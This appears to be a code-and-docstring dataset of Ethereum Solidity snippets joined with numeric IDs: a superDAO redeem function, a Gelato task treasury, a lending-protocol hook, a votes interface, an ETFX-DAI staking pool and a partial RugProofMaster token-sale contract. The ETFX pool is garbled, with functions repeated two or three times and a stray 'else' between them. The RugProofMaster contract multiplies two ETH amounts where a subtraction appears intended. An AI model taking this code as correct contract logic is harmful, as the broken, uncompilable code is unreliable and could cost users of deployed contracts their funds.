WithdrawalCreatedEvent(withdrawalID, _totalAmount, _reason);
}
/**
* @notice Backer `_bacherAddr.address()` is redeeming `_amount` superDAO Tokens
* @dev Check if backer tokens have been claimed but not redeemed, then redeem them
* @param _amount The total number of redeemable tokens
* @param _backerAddr The address of the backer
* @return True if tokens were successfully redeemed else false
*/
function redeem(uint _amount, address _backerAddr) returns(bool){
if (backersRedeemed[_backerAddr] == true) {
return false;
}
uint totalTokens = 0;
for (uint i = 0; i < backers[_backerAddr].length; i++) {
if (backers[_backerAddr][i].claimed == false) {
return false;
}
totalTokens += backers[_backerAddr][i].tokenAmount;
}
if (totalTokens == _amount){
backersRedeemed[_backerAddr] = true;
RedeemEvent(_backerAddr, totalTokens);
return true;
}
else {
return false;
}
}
/**
* @notice check withdrawal status of `_withdrawalID`
* @dev Get the withdrawal of a withdrawal. Return values can be used to instantiate a withdrawalData struct
* @param _withdrawalID The ID of the withdrawal
* @return Amount The Amount requested in the withdrawal
* @return approved True if the withdrawal has been approved
* @return reason Reason/Description of the Withdrawal
* @return backerApprovals Addresses of backers who approved the withdrawal
* @return totalStake Total number of tokens which backed the withdrawal(Total number of tokens owned by backers who approved the withdrawal)
* @return destination Receiving address of the withdrawal
*/
function getWithdrawalData(uint _withdrawalID) constant public returns (uint, bool, bytes, address[], uint, address[]){
return (
withdrawals[_withdrawalID].Amount,
withdrawals[_withdrawalID].approved,
withdrawals[_withdrawalID].reason,
withdrawals[_withdrawalID].backerApprovals,
withdrawals[_withdrawalID].totalStake,
withdrawals[_withdrawalID].destination);
}
modifier founderCall{
if (msg.sender != founder) throw;
_;
}
modifier backerCheck(uint _withdrawalID){
if(backers[msg.sender].length == 0 || withdrawals[_withdrawalID].spent == true || withdrawalsVotes[msg.sender][_withdrawalID] == true) throw;
_;
}
modifier EarliestBackersSet{
if(earlyBackerList.length < numOfBackers) throw;
_;
}
modifier MinimumBackersClaimed(){
if(prepaidUnits == 0 ||
claimedPrepaidUnits == 0 ||
(claimedPrepaidUnits * divisor / prepaidUnits) < minimumPrepaidClaimedPercent) {
throw;
}
_;
}
/*
* Safeguard function.
* This function gets executed if a transaction with invalid data is sent to
* the contract or just ether without data.
*/
function () {
throw;
}
}
|
* @notice Backer `_bacherAddr.address()` is redeeming `_amount` superDAO Tokens @dev Check if backer tokens have been claimed but not redeemed, then redeem them @param _amount The total number of redeemable tokens @param _backerAddr The address of the backer @return True if tokens were successfully redeemed else false/
|
function redeem(uint _amount, address _backerAddr) returns(bool){
if (backersRedeemed[_backerAddr] == true) {
return false;
}
uint totalTokens = 0;
for (uint i = 0; i < backers[_backerAddr].length; i++) {
if (backers[_backerAddr][i].claimed == false) {
return false;
}
totalTokens += backers[_backerAddr][i].tokenAmount;
}
if (totalTokens == _amount){
backersRedeemed[_backerAddr] = true;
RedeemEvent(_backerAddr, totalTokens);
return true;
}
else {
return false;
}
}
| 6,464,545
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// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import { EnumerableSet } from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import { SafeERC20, IERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { _transfer, ETH } from "./FGelato.sol";
// solhint-disable max-states-count
// solhint-disable max-line-length
contract TaskTreasuryMatic is Ownable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
uint256 public maxFee;
mapping(address => mapping(address => uint256)) public userTokenBalance;
mapping(address => EnumerableSet.AddressSet) internal _tokenCredits;
EnumerableSet.AddressSet internal _whitelistedServices;
address payable public immutable gelato;
event FundsDeposited(address indexed sender, address indexed token, uint256 indexed amount);
event FundsWithdrawn(address indexed receiver, address indexed initiator, address indexed token, uint256 amount);
constructor(address payable _gelato) {
gelato = _gelato;
maxFee = 1 ether;
}
modifier onlyWhitelistedServices() {
require(_whitelistedServices.contains(msg.sender), "TaskTreasury: onlyWhitelistedServices");
_;
}
/// @notice Function to deposit Funds which will be used to execute transactions on various services
/// @param _receiver Address receiving the credits
/// @param _token Token to be credited, use "0xeeee...." for ETH
/// @param _amount Amount to be credited
function depositFunds(
address _receiver,
address _token,
uint256 _amount
) external payable {
uint256 depositAmount;
if (_token == ETH) {
depositAmount = msg.value;
} else {
IERC20 token = IERC20(_token);
uint256 preBalance = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 postBalance = token.balanceOf(address(this));
depositAmount = postBalance - preBalance;
}
userTokenBalance[_receiver][_token] = userTokenBalance[_receiver][_token] + depositAmount;
if (!_tokenCredits[_receiver].contains(_token)) _tokenCredits[_receiver].add(_token);
emit FundsDeposited(_receiver, _token, depositAmount);
}
/// @notice Function to withdraw Funds back to the _receiver
/// @param _receiver Address receiving the credits
/// @param _token Token to be credited, use "0xeeee...." for ETH
/// @param _amount Amount to be credited
function withdrawFunds(
address payable _receiver,
address _token,
uint256 _amount
) external nonReentrant {
uint256 balance = userTokenBalance[msg.sender][_token];
uint256 withdrawAmount = Math.min(balance, _amount);
userTokenBalance[msg.sender][_token] = balance - withdrawAmount;
_transfer(_receiver, _token, withdrawAmount);
if (withdrawAmount == balance) _tokenCredits[msg.sender].remove(_token);
emit FundsWithdrawn(_receiver, msg.sender, _token, withdrawAmount);
}
/// @notice Function called by whitelisted services to handle payments, e.g. PokeMe"
/// @param _token Token to be used for payment by users
/// @param _amount Amount to be deducted
/// @param _user Address of user whose balance will be deducted
function useFunds(
address _token,
uint256 _amount,
address _user
) external onlyWhitelistedServices {
if (maxFee != 0) require(maxFee >= _amount, "TaskTreasury: useFunds: Overchared");
userTokenBalance[_user][_token] = userTokenBalance[_user][_token] - _amount;
if (userTokenBalance[_user][_token] == 0) _tokenCredits[_user].remove(_token);
_transfer(gelato, _token, _amount);
}
// Governance functions
/// @notice Add new service that can call useFunds. Gelato Governance
/// @param _service New service to add
function addWhitelistedService(address _service) external onlyOwner {
require(!_whitelistedServices.contains(_service), "TaskTreasury: addWhitelistedService: whitelisted");
_whitelistedServices.add(_service);
}
/// @notice Remove old service that can call useFunds. Gelato Governance
/// @param _service Old service to remove
function removeWhitelistedService(address _service) external onlyOwner {
require(_whitelistedServices.contains(_service), "TaskTreasury: addWhitelistedService: !whitelisted");
_whitelistedServices.remove(_service);
}
/// @notice Change maxFee charged by Gelato (only relevant on Layer2s)
/// @param _newMaxFee New Max Fee to charge
function setMaxFee(uint256 _newMaxFee) external onlyOwner {
maxFee = _newMaxFee;
}
// View Funcs
/// @notice Helper func to get all deposited tokens by a user
/// @param _user User to get the balances from
function getCreditTokensByUser(address _user) external view returns (address[] memory) {
uint256 length = _tokenCredits[_user].length();
address[] memory creditTokens = new address[](length);
for (uint256 i; i < length; i++) {
creditTokens[i] = _tokenCredits[_user].at(i);
}
return creditTokens;
}
function getWhitelistedServices() external view returns (address[] memory) {
uint256 length = _whitelistedServices.length();
address[] memory whitelistedServices = new address[](length);
for (uint256 i; i < length; i++) {
whitelistedServices[i] = _whitelistedServices.at(i);
}
return whitelistedServices;
}
}
|
@notice Remove old service that can call useFunds. Gelato Governance @param _service Old service to remove
|
function removeWhitelistedService(address _service) external onlyOwner {
require(_whitelistedServices.contains(_service), "TaskTreasury: addWhitelistedService: !whitelisted");
_whitelistedServices.remove(_service);
}
| 2,486,615
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./partial_match/1/0x1A963Df363D01EEBB2816b366d61C917F20e1EbE/sources/src/ComptrollerG7.sol
|
* @notice Validates repayBorrow and reverts on rejection. May emit logs. @param cToken Asset being repaid @param payer The address repaying the borrow @param borrower The address of the borrower @param actualRepayAmount The amount of underlying being repaid/ Shh - currently unused Shh - we don't ever want this hook to be marked pure
|
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint256 actualRepayAmount,
uint256 borrowerIndex
)
external
override
{
cToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
if (false) {
maxAssets = maxAssets;
}
}
| 2,595,034
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./full_match/5/0xB3fF7D09c4871cfCfea4e1520e6565092B213AaB/sources/contracts/claim/interfaces/IVotesLite.sol
|
an account's current voting power an total current voting power a weighting factor used to convert token holdings to voting power (eg in basis points)
|
interface IVotesLite {
function getVotes(address account) external view returns (uint256);
function getTotalVotes() external view returns (uint256);
function getVoteFactor(address account) external view returns (uint256);
}
| 1,862,465
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./full_match/1/0xC783cB069e0CAcaF4f1c8592Df903582d980739D/sources/browser/etfx_daiPool_v2__1_.sol
|
total 25000 00000000 first month = 12500 / 30days = 416
|
contract ETFXDAIV2Pool is ERC20, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
mapping(address => uint256) private startStaking;
mapping(address => uint256) private rewards;
uint256 public halvingBlock;
address constant private AAVEaddress = address(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
Aave constant private AAVE = Aave(AAVEaddress);
uint256 private halvingCount;
constructor () public ERC20("ETFX-DAI", "DETFX", 18) {
halvingBlock = block.number.add(DURATION);
DAI.safeApprove(AAVEaddress, uint(-1));
}
function stake(uint256 amount) external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
rewards[sender] = earned(sender);
startStaking[sender] = block.number;
_mint(sender, amount);
DAI.safeTransferFrom(sender, address(this), amount);
AAVE.deposit(DAIaddress, amount, address(this), 88);
}
function stake(uint256 amount) external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
rewards[sender] = earned(sender);
startStaking[sender] = block.number;
_mint(sender, amount);
DAI.safeTransferFrom(sender, address(this), amount);
AAVE.deposit(DAIaddress, amount, address(this), 88);
}
function withdraw(uint256 amount) external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
rewards[sender] = earned(sender);
if (balanceOf(sender) == amount) {
startStaking[sender] = 0;
startStaking[sender] = block.number;
}
AAVE.withdraw(DAIaddress, amount, sender);
_burn(sender, amount);
}
function withdraw(uint256 amount) external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
rewards[sender] = earned(sender);
if (balanceOf(sender) == amount) {
startStaking[sender] = 0;
startStaking[sender] = block.number;
}
AAVE.withdraw(DAIaddress, amount, sender);
_burn(sender, amount);
}
function withdraw(uint256 amount) external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
rewards[sender] = earned(sender);
if (balanceOf(sender) == amount) {
startStaking[sender] = 0;
startStaking[sender] = block.number;
}
AAVE.withdraw(DAIaddress, amount, sender);
_burn(sender, amount);
}
} else {
function earned(address account) public view returns (uint256) {
uint256 accountStartStaking = startStaking[account];
uint256 deltaRewards;
if (accountStartStaking != 0) {
uint256 period;
period = block.number.sub(accountStartStaking).div(ONEDAY);
deltaRewards = balanceOf(account).mul(period).mul(rewardPerToken()).div(1e18);
}
deltaRewards = deltaRewards.add(rewards[account]);
if (ETFX.balanceOf(address(this)) < deltaRewards) {
deltaRewards = ETFX.balanceOf(address(this));
}
return deltaRewards;
}
function earned(address account) public view returns (uint256) {
uint256 accountStartStaking = startStaking[account];
uint256 deltaRewards;
if (accountStartStaking != 0) {
uint256 period;
period = block.number.sub(accountStartStaking).div(ONEDAY);
deltaRewards = balanceOf(account).mul(period).mul(rewardPerToken()).div(1e18);
}
deltaRewards = deltaRewards.add(rewards[account]);
if (ETFX.balanceOf(address(this)) < deltaRewards) {
deltaRewards = ETFX.balanceOf(address(this));
}
return deltaRewards;
}
function earned(address account) public view returns (uint256) {
uint256 accountStartStaking = startStaking[account];
uint256 deltaRewards;
if (accountStartStaking != 0) {
uint256 period;
period = block.number.sub(accountStartStaking).div(ONEDAY);
deltaRewards = balanceOf(account).mul(period).mul(rewardPerToken()).div(1e18);
}
deltaRewards = deltaRewards.add(rewards[account]);
if (ETFX.balanceOf(address(this)) < deltaRewards) {
deltaRewards = ETFX.balanceOf(address(this));
}
return deltaRewards;
}
function exit() external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
uint256 unstake = balanceOf(sender);
uint256 reward = earned(sender);
AAVE.withdraw(DAIaddress, unstake, sender);
_burn(sender, unstake);
startStaking[sender] = 0;
if (reward != 0) {
ETFX.safeTransfer(sender, reward);
rewards[sender] = 0;
}
}
function exit() external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
uint256 unstake = balanceOf(sender);
uint256 reward = earned(sender);
AAVE.withdraw(DAIaddress, unstake, sender);
_burn(sender, unstake);
startStaking[sender] = 0;
if (reward != 0) {
ETFX.safeTransfer(sender, reward);
rewards[sender] = 0;
}
}
function exit() external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
uint256 unstake = balanceOf(sender);
uint256 reward = earned(sender);
AAVE.withdraw(DAIaddress, unstake, sender);
_burn(sender, unstake);
startStaking[sender] = 0;
if (reward != 0) {
ETFX.safeTransfer(sender, reward);
rewards[sender] = 0;
}
}
function getReward() external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
uint256 reward = earned(sender);
if (reward != 0) {
startStaking[sender] = block.number;
ETFX.safeTransfer(sender, reward);
rewards[sender] = 0;
}
}
function getReward() external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
uint256 reward = earned(sender);
if (reward != 0) {
startStaking[sender] = block.number;
ETFX.safeTransfer(sender, reward);
rewards[sender] = 0;
}
}
function getReward() external {
if (halvingCount != 3) {
checkHalving();
}
address sender = msg.sender;
uint256 reward = earned(sender);
if (reward != 0) {
startStaking[sender] = block.number;
ETFX.safeTransfer(sender, reward);
rewards[sender] = 0;
}
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return 0;
}
return
mintSpeed.mul(1e18).div(totalSupply());
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return 0;
}
return
mintSpeed.mul(1e18).div(totalSupply());
}
function checkHalving() internal {
if (block.number >= halvingBlock) {
halvingBlock = block.number.add(DURATION);
mintSpeed = mintSpeed.mul(50).div(100);
halvingCount++;
}
}
function checkHalving() internal {
if (block.number >= halvingBlock) {
halvingBlock = block.number.add(DURATION);
mintSpeed = mintSpeed.mul(50).div(100);
halvingCount++;
}
}
function checkRewards() external view returns (uint256) {
uint256 aavebalance = aaveDAIToken.balanceOf(address(this));
uint256 wrappedbalance = totalSupply();
return aavebalance.sub(wrappedbalance);
}
function devRewards() external onlyOwner {
uint256 aavebalance = aaveDAIToken.balanceOf(address(this));
uint256 wrappedbalance = totalSupply();
uint256 devrewards = aavebalance.sub(wrappedbalance);
require(devrewards > 0, "zero rewards");
AAVE.withdraw(DAIaddress, devrewards, msg.sender);
}
}
| 4,827,470
|
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// File: contracts/utils/Address.sol
pragma solidity 0.5.17;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: contracts/utils/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title A simple holder of tokens.
* This is a simple contract to hold tokens. It's useful in the case where a separate contract
* needs to hold multiple distinct pools of the same token.
*/
contract TokenPool {
IUniswapV2Router02 public uniswapRouterV2;
IUniswapV2Factory public uniswapFactory;
address public rptContract;
constructor() public {
uniswapRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
rptContract = 0xa0Bb0027C28ade4Ac628b7f81e7b93Ec71b4E020;
}
function balance(address token) public view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
function () external payable {}
function swapETHForRPT() external {
if(address(this).balance > 0) {
address[] memory uniswapPairPath = new address[](2);
uniswapPairPath[0] = rptContract; // RPT contract address
uniswapPairPath[1] = uniswapRouterV2.WETH(); // weth address
uniswapRouterV2.swapExactETHForTokensSupportingFeeOnTransferTokens.value(address(this).balance)(
0,
uniswapPairPath,
address(this),
block.timestamp
);
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
// File: contracts/RugProofMaster.sol
/*
Rug Proof Master Contract
Website: rugproof.io
The Rug Proof Master Contract is an experimental rug proof token sale platform.
This contract allows token sellers to predefine liquidity % amounts that are validated and trustless.
This allows buyers of the token sale to have confidence in what they are buying, as it ensures liquidity gets locked.
A 1% platform tax is applied which market buys RPT and locks it into the burn pool.
At the end of a successful sale, any remaining tokens are sent to the burn pool.
If a sale does not meet its softcap after the end time, users can get their ETH refund minus the 1% platform tax.
*/
contract RugProofMaster {
using SafeMath for uint256;
using Address for address;
struct SaleInfo {
address contractAddress; // address of the token
address payable receiveAddress; // address to receive ETH
uint256 tokenAmount; // amount of tokens to sell
uint256 tokenRatio; // ratio of ETH to token
uint256 totalEth; // total eth currently raised
uint256 softcap; // amount of ETH we need to set this as a success
uint32 counter; // amount of buyers
uint32 timestampStartSec; // unix second start
uint32 timestampEndSec; // unix second end
uint8 liquidityLockPercent; // 20 = 20%, capped at 100%, intervals of 1%
bool isEnded; // signals the end of this sale
bool isSuccess; // if false, users can claim their eth back
mapping(address => uint256) ethContributed; // amount of eth contributed per address
}
SaleInfo[] public tokenSales;
IUniswapV2Router02 public uniswapRouterV2;
IUniswapV2Factory public uniswapFactory;
//inaccessible contract that stores funds
//cannot use 0 address because some tokens prohibit it without a burn function
TokenPool public burnPool;
// address for the RPT token
address public rptContract;
// Amount of wei raised in this contracts lifetime
uint256 public _weiRaised;
uint256 public rptTax;
address public owner;
bool private _notEntered;
event LogCreateNewSale(address _contract, uint256 _tokenAmount);
modifier onlyOwner() {
require(msg.sender == owner, "RugProofMaster::OnlyOwner: Not the owner");
_;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
function initialize(address router, address factory, address _rptContract) public {
require(owner == address(0x0), "RugProofMaster::Initialize: Already initialized");
//uniswapRouterV2 = IUniswapV2Router02(router != address(0) ? router : 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // For testing
//uniswapFactory = IUniswapV2Factory(factory != address(0) ? factory : 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); // For testing
//rptContract = _rptContract != address(0) ? _rptContract : 0xa0Bb0027C28ade4Ac628b7f81e7b93Ec71b4E020; // For testing
uniswapRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
rptContract = 0xa0Bb0027C28ade4Ac628b7f81e7b93Ec71b4E020;
burnPool = new TokenPool();
rptTax = 1;
owner = msg.sender;
_notEntered = true;
}
/**
* @dev Sets the % tax for each purchase. This tax sends market buys and burns RPT
*
*/
function setTax(uint256 _rptTax) public onlyOwner {
require(_rptTax <= 100, "RugProofMaster::setTax: tax is too high");
rptTax = _rptTax;
}
/**
* @dev Creates a token sale with a timer.
*
* _contractAddress: contract of the token being sold
* _tokenAmount: amount of tokens being sold
* _tokenRatio: price of the token vs ETH i.e. 1e9 and a user buys 0.5 ETH worth => tokenRatio * ETHAmount / ETH Decimals = (1e9 * 0.5e18)/1e18
* _timestampStartSec: unix time in seconds when the sale starts
* _timestampStartSec: unix time in seconds when the sale ends
* _liquidityLockPercent: % of the sale that should go to locked ETH liquidity i.e. 50 => 50%. Capped at 100, increments of 1%
* _softcap: ETH amount that is needed for the sale to be a success
*/
function createNewTokenSale(
address _contractAddress, uint256 _tokenAmount,
uint256 _tokenRatio, uint32 _timestampEndSec,
uint8 _liquidityLockPercent, uint256 _softcap) external {
require(_contractAddress != address(0), "CreateNewTokenSale: Cannot use the zero address");
require(msg.sender != address(this), "CreateNewTokenSale: Cannot call from this contract");
require(_tokenAmount != 0, "CreateNewTokenSale: Cannot sell zero tokens");
require(_tokenRatio != 0, "CreateNewTokenSale: Cannot have a zero ratio");
require(_softcap != 0, "CreateNewTokenSale: Cannot have a zero softcap");
require(_timestampEndSec > now, "CreateNewTokenSale: Cannot start sale after end time");
require(_liquidityLockPercent <= 100, "CreateNewTokenSale: Cannot have higher than 100% liquidity lock");
// check how many tokens we receive
// this is an important step to ensure we log proper amounts if this is a deflationary token
// approve must be called before this function is executed. Need to approve this contract address to send the token amount
uint256 tokenBalanceBeforeTransfer = IERC20(_contractAddress).balanceOf(address(this));
IERC20(_contractAddress).transferFrom(address(msg.sender), address(this), _tokenAmount);
uint256 tokensReceived = IERC20(_contractAddress).balanceOf(address(this)).sub(tokenBalanceBeforeTransfer);
SaleInfo memory saleInfo = SaleInfo(
_contractAddress, msg.sender, tokensReceived, _tokenRatio, 0, _softcap,
0, uint32(now), _timestampEndSec, _liquidityLockPercent, false, false
);
tokenSales.push(saleInfo);
}
/**
* @dev Enabled ability for tokens to be withdrawn by buyers after the sale has ended successfully.
On a successful sale (softcap reached by time, or hardcap reached), this function:
1. Creates uniswap pair if not created.
2. adds token liquidity to uniswap pair.
3. burns tokens if hardcap was not met
*
* contractIndex: index of the token sale. See tokenSales variable
*
*/
function endTokenSale(uint256 contractIndex) external {
SaleInfo storage tokenSaleInfo = tokenSales[contractIndex];
uint256 hardcapETH = tokenSaleInfo.tokenAmount.mul(100 - tokenSaleInfo.liquidityLockPercent).div(100);
//require(tokenSaleInfo.receiveAddress == msg.sender, "endTokenSale: can only be called by funding owner");
require(tokenSaleInfo.isEnded == false, "endTokenSale: token sale has ended already");
require(block.timestamp > tokenSaleInfo.timestampEndSec || hardcapETH <= tokenSaleInfo.totalEth, "endTokenSale: token sale is not over yet");
require(IERC20(tokenSaleInfo.contractAddress).balanceOf(address(this)) >= tokenSaleInfo.tokenAmount, "endTokenSale: contract does not have enough tokens");
// flag that allows ends this funding round
// also allows token withdrawals and refunds if failed
tokenSaleInfo.isEnded = true;
// sale was a success if we hit the softcap
if(tokenSaleInfo.totalEth >= tokenSaleInfo.softcap){
tokenSaleInfo.isSuccess = true;
uint256 saleEthToLock = tokenSaleInfo.totalEth.mul(tokenSaleInfo.liquidityLockPercent).div(100);
uint256 saleEthToUnlock = tokenSaleInfo.totalEth.mul(saleEthToLock);
uint256 tokenAmountToLock = saleEthToLock.mul(tokenSaleInfo.tokenRatio).div(1e18);
uint256 tokenAmountToUnlock = saleEthToUnlock.mul(tokenSaleInfo.tokenRatio).div(1e18);
// send the ETH to the owner of the sale so they can pay for the uniswap pair
tokenSaleInfo.receiveAddress.transfer(saleEthToUnlock);
// create uniswap pair
createUniswapPairMainnet(tokenSaleInfo.contractAddress);
// burn the rest of the tokens if there are any left
uint256 tokenAmountToBurn = tokenSaleInfo.tokenAmount.sub(tokenAmountToLock).sub(tokenAmountToUnlock);
if(tokenAmountToBurn > 0){
IERC20(tokenSaleInfo.contractAddress).transfer(address(burnPool), tokenAmountToBurn);
}
// add liquidity to uniswap pair
addLiquidity(tokenSaleInfo.contractAddress, tokenAmountToLock, saleEthToLock);
} else {
tokenSaleInfo.isSuccess = false;
// transfer the token amount from this address back to the owner
